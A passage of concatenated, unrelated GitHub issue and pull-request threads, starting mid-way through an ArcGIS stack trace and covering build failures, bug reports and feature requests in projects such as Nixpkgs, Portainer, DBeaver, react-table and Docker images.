at http://js.arcgis.com/3.14/init.js:167:296 "TypeError: Failed to execute 'appendChild' on 'Node': parameter 1 is not of type 'Node'.
at TypeError (native)
at Object.b.place (http://js.arcgis.com/3.14/init.js:148:448)
at declare.setPosition (http://ws211:3344/webappbuilder/apps/6/jimu.js/BaseWidget.js:235:12)
at null. (http://ws211:3344/webappbuilder/apps/6/jimu.js/OnScreenWidgetIcon.js:120:18)
at http://js.arcgis.com/3.14/init.js:167:296
at k (http://js.arcgis.com/3.14/init.js:189:431)
at m (http://js.arcgis.com/3.14/init.js:189:357)
at resolve (http://js.arcgis.com/3.14/init.js:191:441)
at null. (http://ws211:3344/webappbuilder/apps/6/jimu.js/WidgetManager.js:117:25)
at http://js.arcgis.com/3.14/init.js:167:296
----------------------------------------
rejected at a (http://js.arcgis.com/3.14/init.js:190:337)
at k (http://js.arcgis.com/3.14/init.js:190:89)
at m (http://js.arcgis.com/3.14/init.js:189:357)
at resolve (http://js.arcgis.com/3.14/init.js:191:441)
at null. (http://ws211:3344/webappbuilder/apps/6/jimu.js/WidgetManager.js:117:25)
at http://js.arcgis.com/3.14/init.js:167:296
----------------------------------------
Error
at then.b.then (http://js.arcgis.com/3.14/init.js:192:253)
at declare.switchToOpen (http://ws211:3344/webappbuilder/apps/6/jimu.js/OnScreenWidgetIcon.js:118:10)
at declare.onClick (http://ws211:3344/webappbuilder/apps/6/jimu.js/OnScreenWidgetIcon.js:61:14)
at null. (http://ws211:3344/webappbuilder/apps/6/jimu.js/OnScreenWidgetIcon.js:37:14)
at HTMLDivElement. (http://js.arcgis.com/3.14/init.js:167:296)"

Did you end up resolving this?

Yes - I asked also on GeoNet and Robert S pointed out I had missed a configuration step. Many thanks for replying.


sv-lang: init at 3.0

Description of changes
sv-lang (also known as slang) provides a SystemVerilog compiler and language services.
Homepage: https://github.com/MikePopoloski/slang
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Seems like darwin build failed, looking into it

Compilation error occurs due to incompatibility between fmt_10 and fmt_9. Fix with switching to fmt_9.

Linker error on darwin suppressed by disabling tests.


Audio Switcher Client Issue

Details:
Audio Switcher
Version: <IP_ADDRESS>
Operating System: Microsoft Windows NT 6.2.9200.0 64-bit
Administrator Privileges: False
User Comments:
Stacktrace:
System.NullReferenceException: Object reference not set to an instance of an object.
   at AudioSwitcher.AudioApi.CoreAudio.CoreAudioDevice.get_IsDefaultDevice()
   at FortyOne.AudioSwitcher.AudioSwitcher.RefreshNotifyIconItems()
   at FortyOne.AudioSwitcher.AudioSwitcher.RefreshPlaybackDevices()

#930


Update cargo-miri test

The doctest output was changed (probably by https://github.com/rust-lang/cargo/pull/9730). Update test-cargo-miri/test.default.stdout.ref to match the new output.

Ah, I was just looking into this -- thanks. :)
@bors r+

:pushpin: Commit dced6b8518485aa8b6b069c09878d39bbb0ae22b has been approved by RalfJung

:hourglass: Testing commit dced6b8518485aa8b6b069c09878d39bbb0ae22b with merge 3ca53e03070d3e409d274d4f2bf56fb4377333ca...

:sunny: Test successful - checks-actions
Approved by: RalfJung
Pushing 3ca53e03070d3e409d274d4f2bf56fb4377333ca to master...


Minecraft 1.20.6 Copyright text now a private member

Apparently, Mojang decided to make TitleScreen.COPYRIGHT a private member, so this https://github.com/TerraformersMC/ModMenu/commit/3a713a1e576d4b52bde20a0bc99f785673bb6e86 does not work anymore.
I could do a PR but I'm not very familiar with the project, I believe this is a quick fix.
Here's some of the log:
Time: 2024-06-10 17:20:07
Description: Rendering overlay

java.lang.IllegalAccessError: class com.terraformersmc.modmenu.event.ModMenuEventHandler tried to access private field net.minecraft.client.gui.screen.TitleScreen.COPYRIGHT

Not sure what you're talking about, are you trying to run the 1.18.2 version of Mod Menu on 1.20.6?


Support for C# 11 required modifier

It'd be nice to have support for the upcoming required modifier in C# 11:
class SortArgument
{
    public required string Path { get; init; }
    public required string Direction { get; init; }
}

(See original comment thread at https://github.com/EntityGraphQL/EntityGraphQL/issues/222#issuecomment-1228031524)

@lukemurray You mentioned at https://github.com/EntityGraphQL/EntityGraphQL/issues/222#issuecomment-1228031524 that support for required probably won't be implemented until after .NET Core 3.1 supports ends, in December. That works fine for me (I'm in no rush, and in no position to make demands, anyway! 🙂), but I'm not sure I understand the relationship between support for required and support for .NET Core 3.1. Since EntityGraphQL is .NET Standard 2.1, shouldn't it work seamlessly in .NET Core 3.1, even after it's EOL?

Total assumption on my part. I assume there are new classes and API in the reflection APIs to find and support required the are only available in 6.0
I could be wrong! Have not looked into it yet.

Ah, got it 🙂
(required is in .NET 7, BTW 🙂)

Side track... have you used EntityGraphQL with .NET 7? Any issues?

No, we're still using .NET 6.
I suspect we may not upgrade to .NET 7, either, as we normally only use LTS releases of .NET. Usually for new features such as required, it takes a couple of years for all of the reflection-based NuGet packages to catch up, anyways, in my experience 🙂

FYI it seems to work fine in dotnet 7.
And after a quick look it look like supporting the above won't happen until the library drops net standard 2.1 etc.

Makes sense, and thanks for the update 🙂


success pop up not centered

Describe the Issue
The success you have logged in is not centered properly. It looks odd and can be corrected.
Affected Page
https://www.freecodecamp.org/learn/?messages=success[0]%3Dflash.signin-success
Steps to Reproduce

Go to 'sign in'
Click on 'login and lgoin to your account'
The green pop up of success you have logged in is not showing properly
See error

Expected behavior
the success you have logged in should be centered and the x sign at the right edge.
Screenshots
Wrong

Corrected

System

Device: Laptop
OS: Windows 10
Browser: Edge
Version: 115.0.1901.188

Additional context
I know how to solve the problem so should I do it or let someone else do it.

@ahmaxed Do you think the text should be centered? As is? Or, justified with the main content?

hey @Dhananjaymahajan2001!!! Is the issue still open??

The text is left adjusted, but it could be adjusted to use the grid systems's margins and padding.
Since the Alert component is already created in the ui-component library, I would defer this change until the Alert component is consumed in the client directory.


Docker run command for portainer freezes and corrupts Docker Desktop (Windows)

As instructed on the installation page, I run docker run -d -p 8000:8000 -p 9000:9000 --name portainer --restart always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer, which outputs the container ID: 6e7ed14c74e8a611bacdb44b1cca3817734f002d9ca21cfdd40a1b4bcb5b40fd.
After that, the terminal just hangs, the command is never completed, and when I close the terminal or restart Docker Desktop, it forces me to do a reset to factory settings. Oddly enough, portainer works fine if I switch to Windows containers mode, but I need to use it with Linux containers as those are what I will be building and testing. I have confirmed that other Linux images run and detach just fine, e.g. alpine and postgres.

Hi there, I just tested this on Windows 10 Pro 1903 and the latest version of Docker Desktop and Portainer deployed fine as a linux container. The fact that the terminal freezes and you need to restart Docker Desktop makes it seems like ther is an issue with it's configuration...
We need more info on this:

Are you on the latest version of Docker Desktop, if not can you update and try again:
What is your OS version:
Logs of the Portainer container:
Have you modified the default config of Docker Desktop:

It works now, oddly, after upgrading to a Windows Insider build. Not sure what was happening there, I'd left the config as it was, only adding volume support on C drive. I didn't touch anything else, and had installed the newest version multiple times.

Seems to me like an issue between Docker Desktop and Windows then.
Since it is resolved, I will close this issue. If you have the issue again feel free to comment and I will re-open.


Unable to run cibuild script on Mac OS X 10.11.4

Running ./_buildscripts/cibuild in bash produces the following error.  Seems to be related, https://github.com/ffi/ffi/issues/461.  Applying the fix mentioned in the issue then gives an additional rake aborted error because the bundle script is not found.
rake aborted!
LoadError: Could not open library 'c': dlopen(c, 5): image not found.
Could not open library 'libc.dylib': dlopen(libc.dylib, 5): image not found
/Users/maddog/training-kit/vendor/gems/ruby/2.0.0/gems/ffi-1.9.6/lib/ffi/library.rb:133:in `block in ffi_lib'

@eriksaline I've solved this before, let me see if I can find my notes.

Ok, so from my previous experience with this issue:
update your GemFile to include the following line at the top:
gem 'ffi', git: 'git://github.com/ffi/ffi.git', branch: :elcapt
This is actually a dependency based on typhoeus in html-proofer, but that modification should be enough for you.
When i was running either ruby or irb on a file, I did have to make sure it knew the environment, so do something like bundle exec ruby script_file.rb. Keep that in mind if you are testing locally.

@jbjonesjr thank you for your helpful troubleshooting! @eriksaline please let us know if you need additional assistance.


Add hacktoberfest topic

Following the new guidelines for Hacktoberfest, we should add the hacktoberfest topic to the repository.

It's done! 🚀


I install wix. But the error still exist.

how to solve it.

@felixrieseberg

Hi @wjtGitHub ,
this is because the WIX installer doesn't add itself to the system %path%-variable. So add the WIX "bin"-directory (should be: C:\Program Files (x86)\WiX Toolset v3.11\bin) to the system path, restart the console/shell you're working in and try it again.

@codebude thank you very much.


enhance footer image make it look good

create change in footer image make it related to image

elaborate

Read #64


Modifying Storage Policy Properties for Multi Streaming

Hi,
I wanted to modify few Storage Policy Properties in order to configure Multi Streaming Backup Jobs.
By default when create Storage Policy using CVPySDK SP11 with below code :
from cvpysdk.commcell import Commcell
commcell = Commcell('<IP_ADDRESS>', 'administrator', 'Password123')
commcell.storage_policies.add(storage_policy_name='auto_nfs_stg_pol_1',
library='auto_nfs_disk_lib_1',
media_agent='rhel74xxx')
And then check the same Storage Polices Properties in CV GUI,
I can see the default values of below properties:
"Device Stream = 1"
"enable stream randomization = False/Unchecked"
"distribute data evenly among multiple streams = False/Unchecked"
And i wanted to modify these default values like below :
"Device Stream = 50"
"enable stream randomization = True"
"distribute data evenly among multiple streams = True"
Could you please tell me any method to modify these storage policy properties?
or is it possible to pass these values while creating new storage policy?

@cssupratik
We are working on SP property update support, Will update you once we have this checked in.

@shailymehta
Any update on the check in?
Regards,
Supratik

Please open Commvault support ticket.


MSSQL: executing the same query with cursor multiple time may result in duplicate rows

When query is executed from SQL Editor window, it uses sp_cursoropen, sp_cursorfetch and sp_cursorclose stored procedures.
Scrolling the window results in issuing the same query again (different cursor), followed by sp_cursorfetch with ABSOLUTE fetch type.
E.g. the 1st cursor takes 400 rows. Than another cursor is opened with the same query and it is positioned to the row 400 via sp_cursorfetch.
Please, notice that the order of rows in subsequent executions of the same query can be different. If there is no ordering in the statement, the subsequent execution may produce at row 400 the row that in previous execution was at other location (e.g. 38).
Therefore, the window will include some rows that are missing from the real result set and some are duplicate.
It is not a good practice to execute query multiple times, both from performance pov and from correctness pov. Also, better to avoid using cursors at all.

I suspect I have the same issue with PostgreSQL. It would be nice to have same default. I am on almost master there was a check mark by default.

It was made default in 6.x version

Great! Thanks.
On Sun, 25 Aug 2019 at 17:17 Serge Rider<EMAIL_ADDRESS>wrote:

It was made default in 6.x version
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/dbeaver/dbeaver/issues/4998?email_source=notifications&email_token=AASXYSNKWWZLYMOQKKAYLI3QGKIAJA5CNFSM4GPX5WDKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD5CUOSI#issuecomment-524633929,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AASXYSKUDXFNQA4GLML5VZ3QGKIAJANCNFSM4GPX5WDA
.


Mini atom-text-editor doesn't handle horizontal overflow unless a space is used

Here’s an illustration of the issue:

Basically, the text you’re typing becomes invisible until you type a space. This is particularly problematic if the mini TextEditor is being used for something like a long URL, which you wouldn’t expect to have spaces.
Using Atom v0.208.0 on Mac OS 10.10.3

Reproducible .

This issue is not occurring for me. (Atom 0.209, Ubuntu 15.04)

I was unable to reproduce this using Atom v0.211.0-fc4f2a1 on Mac OS X 10.10.3 using Safe Mode:

Have you tried using Safe Mode? Are you using one of the standard themes?

Have you tried toggling "Soft Wrap" in the settings?
It looks like the same "Soft Wrap" issue, see @izuzak's comment: https://github.com/atom/tree-view/issues/473

Definitely a duplicate (exact same issues), thanks @simurai. I’ll close this one.


Featured collections and user as a section on Homepage

Project organization

Related trello card
Related figma file

Description
Adds list of featured collections/users as a section on Homepage
Checklist

[x] Base branch of the PR is dev

@ismailToyran looking good 👍


IndirectClient are not initialised soon enough in getRedirectAction

Hi,
I think that in the implementation of IndirectClient.getRedirectAction() the call to init(Context) should be at the beginning.
For example, it relies on ajaxRequestResolver in the beginning, and at that moment, we are not sure it has been correctly initialised (since internalInit() does verify that it is different than null).

You're right. I wanted to delay the initialization as much as possible, but it should be at the beginning here.
Would you mind submitting a PR for that?

ok

two PR, one for v2 and one for v1.9 :)


Update OTG telemetry_basic_test with updates from the ATE version

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 55.714%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1170

Relevant Lines:
2100

💛  - Coveralls


Hot loader breaks rails generate when using phusion passenger server

running any rails g command gives me following error:
/home/vagrant/.rvm/gems/ruby-2.2.3@leasing/gems/react-rails-hot-loader-0.5.0/lib/hot_loader/railtie.rb:19:in `block in <class:Railtie>': undefined method `on_event' for PhusionPassenger:Module (NoMethodError)

Bummer! Could you share the lines for Phusion Passenger from your Gemfile.lock? (I wonder if we're using different versions, that's what I use too and it works ok for me!)

@rmosolgo Sure, I'm using version 5.0.26


bug(autocomplete): Highlight the typed text in autocomplete in xCode iPhone simulator safari

Is this a regression?

[ ] Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was
No response
Description
Highlight the typed text in autocomplete in xCode iPhone simulator iPhone 13 iOS 15.2 safari.
Reproduction
Steps to reproduce:

Go to https://material.angular.io/components/autocomplete/examples using xCode simulator iPhone 13 iOS 15.2 safari browser.
type text in first example.

Expected Behavior
Expected Results:
Typed text should not be highlighted
Actual Behavior
Actual Results:
Typed text are being highlighted
Environment

Angular: 12.2.13
CDK/Material: ^12.2.0
Browser(s): xCode simulator iPhone 13 iOS 15.2 safari.
Operating System - macOS

Are you referring to this text highlighting when there's a typo in the text?

yes

I'm not sure if we can do much about it, because this happens at the OS level. I can see the spellcheck HTML attribute potentially affecting it https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/spellcheck.

Closing this issue since we can't do much to solve it on our end.


[RFC] dind: include git to support build from remote source

This patch installs git in the "dind" variants of the image, to allow using docker build to build from a remote source.
This change adds ~13MB to the image size (after decompressing). Below is a list of image variants ("dind-git" is the local build) for comparison:
REPOSITORY    TAG              IMAGE ID       CREATED          SIZE
docker        20.10-dind-git   35ca9f3f5cbf   10 seconds ago   270MB
docker        20.10-dind       d1a6345c23f3   2 weeks ago      257MB
docker        20.10-git        5675ce6408db   2 weeks ago      253MB
docker        20.10            6e081696197d   2 weeks ago      241MB

And ~6MB compressed (docker save  | gzip > file.tgz)
-rw-r--r--  1 sebastiaan  staff    76M Feb 17 17:20 before.tgz
-rw-r--r--  1 sebastiaan  staff    82M Feb 17 17:21 after.tgz

Installing git is done in a separate RUN, so that the layer can be shared between the "20.10-git" and "20.10-dind" variants of the image in situations where both variants are used on the same machine.

@tianon @tonistiigi I know this has been discussed before (i.e.; keeping the images "small" where possible); I thought it would be worth discussing again, to provide a better experience for users that use the dind variant for building. The difference in size (for the image pulled) looks to be "limited" (6MB), and of course, there's the non-dind variants that are smaller for users that don't need to run the daemon.

You mean specifically for buildkit, right? In non-buildkit, the preferred mode is that the client invokes git (which IMO makes a lot more sense).

You mean specifically for buildkit, right?

Correct

In non-buildkit, the preferred mode is that the client invokes git

In that case, it could still be useful if the client inside the image is used

which IMO makes a lot more sense

Conveniently removing myself from that discussion, but @tonistiigi probably can provide input on that if needed 😅

In non-buildkit, the preferred mode is that the client invokes git

In that case, it could still be useful if the client inside the image is used

It could, but that is the use case for the git variant. 😅

I guess on the size argument, https://github.com/docker-library/golang/issues/250#issuecomment-451201761 is pretty relevant.
(From that point of view, it's pretty tempting to drop the git variants altogether.)


API-umbrella with settings in environment variables

@GUI Do you have the plan for run API-umbrella with settings in environment variables?
We need avoid use a config file and instead use ENV variables for easy scale docker-swarm and kubernetis setup. Otherwise, require create persisted storage with api-umbrella.yml and then start the new instance of API-umbrella and mount volume with api-umbrella.yml.
I can contribute to that feature, but before want check it with you.
I have only one concern, that we somehow need to convert arrays to ENV variable.

I don't personally have plans to implement environment variable settings, but I think that's a feature we could accept, as long as it retains compatibility with the current YAML config.
Although, out of curiosity, is the current file-based approach preventing use with Kubernetes or Docker Swarm? I've just used other Docker containers that can use file-based config (eg, the official redis container or elasticsearch's container), but I haven't used Kubernetes or Swarm much, so I wasn't sure if this was an issue specific to those tools, or environment variables would just make things easier.
In any case, as you note, the array types are probably the trickiest thing to replicate in environment variables. I think for handling those in environment variables, we'd have to just pick some delimiter to split strings by. I'd normally recommend a simple comma, but we have some variables that accept commas inside a single value (eg, the mongodb.url when using multiple servers), so I'm not sure if there's a better solution other than picking some more exotic delimiter like ;; or limiting the fields that are treated as potential arrays (assuming none of those fields possibly contain commas).
And perhaps semi-related to this, one potential configuration change that has been on my mind is allowing flattened YAML keys, like elasticsearch does. I had mainly been thinking about this in terms of simplifying our documentation, since it's a lot easier to document mongodb.url and being able to use that key directly in the YAML, rather than knowing that needs to be translated to:
mongodb:
  url:

But flattening all our YAML keys could perhaps be related to this task, since it seems like you'd need flattened keys for environment variable names anyway.


Data is being fetch on current page box blur

Problem Description
I have a table that handles paging and sorting on the server side. Everything seems to work fine, except that when I manually enter the page I want to go and hit enter, the page is refreshed but then on blur the page is refreshed again and the same data is being retrieved.
Code Snippet(s)
Steps to Reproduce

On a multi-page table, navigate by manually entering the current page and hit enter
Leave the current page box

System Information
Chrome 57
Win10 Pro

This is definitely a bug and needs to get fixed.  If you're interested in fixing it, I would be happy to help you through it.

Near this line, there needs to be logic that checks if the desired page is already the current page.  If it is, then just return without changing the page.  If it not the same page, continue as normal and change the page.

Hey @tannerlinsley , I just created a PR with a fix to this issue (I am the creator of the issue, but with a different account). Rather than applying the fix where you said (function applyPage), I applied it on changePage. I also added an extra fix to getSafePage for when the parameter date is NaN.

Merge :)


Unable to get list of signature map used for signing the transaction

Description
In Transaction class in Java SDK we have a method get list of sigPairLists but similar method not exist for Swift SDK.
How to get list of signatures used for signing the transaction.
Steps to reproduce
Create an signed transaction and try to get public keys used for signing that transaction.
Additional context
No response
Hedera network
mainnet
Version
v0.23.0
Operating system
macOS

Are you referring to getSignature? (https://github.com/hashgraph/hedera-sdk-java/blob/0d0da85dcea114140c92a2fba2d8cf08f1ed3b81/sdk/src/main/java/com/hedera/hashgraph/sdk/Transaction.java#L948)

Yes


HTML intellisense not working

Issue Type: Bug
In the past week, I noticed I no longer get intellisense hints on my HTML files.  This is an Angular 10 project.  I used to be able to type as attribute as "(c" and get "(click)" suggested. It also used to complete the names of functions and variables in the corresponding TS file.  Now it does nothing at all.
I no longer get any hints for anything Angular or Javascript-related in the HTML.
Not sure if it is related, but when I open any project in the last week that I haven't opened for a while,  I get this cryptic dialog about ESLINT:

I confess I have no idea why, or what this means, so I took the default button.
I assume some setting got changed somehow but have no idea which, but not having hints in HTML is annoying.

Can you try with all extensions disabled? You should get code completions here:

<html>
<script>

</script>
</html>

Make sure the editor is in html mode.
The (click) suggestions likely come from an angular extension.

I had to do this to get it working: https://github.com/angular/vscode-ng-language-service/issues/876#issuecomment-667900859
Seems like an issue with Angular 10.


Improve granularity of index in measure by leveling up from data point to series

[x] If this pull request closes/resolves/fixes an existing issue, replace the issue number. Closes https://github.com/apache/skywalking/issues/10871.
[x] Update the CHANGES log.

Codecov Report

Merging #286 (c8b2967) into main (25fb9cb) will decrease coverage by 0.68%.
The diff coverage is 11.11%.

@@            Coverage Diff             @@
##             main     #286      +/-   ##
==========================================
- Coverage   44.88%   44.20%   -0.68%
==========================================
  Files          93       93
  Lines        9632     9799     +167
==========================================
+ Hits         4323     4332       +9
- Misses       4895     5049     +154
- Partials      414      418       +4

Impacted Files
Coverage Δ

banyand/measure/measure_write.go
3.87% <0.00%> (ø)

banyand/stream/stream_write.go
13.76% <0.00%> (-0.13%)
:arrow_down:

banyand/tsdb/buffer.go
82.58% <0.00%> (-1.63%)
:arrow_down:

banyand/tsdb/scope.go
0.00% <0.00%> (ø)

banyand/tsdb/series_seek.go
0.00% <ø> (ø)

banyand/tsdb/series_seek_sort.go
0.00% <0.00%> (ø)

banyand/tsdb/series_write.go
49.54% <0.00%> (-4.46%)
:arrow_down:

banyand/tsdb/tsdb.go
53.37% <ø> (ø)

...ry/logical/measure/measure_plan_indexscan_local.go
0.00% <0.00%> (ø)

banyand/tsdb/seriesdb.go
35.88% <7.53%> (-12.40%)
:arrow_down:

... and 3 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

Some e2e cases failed. I'm diving into them.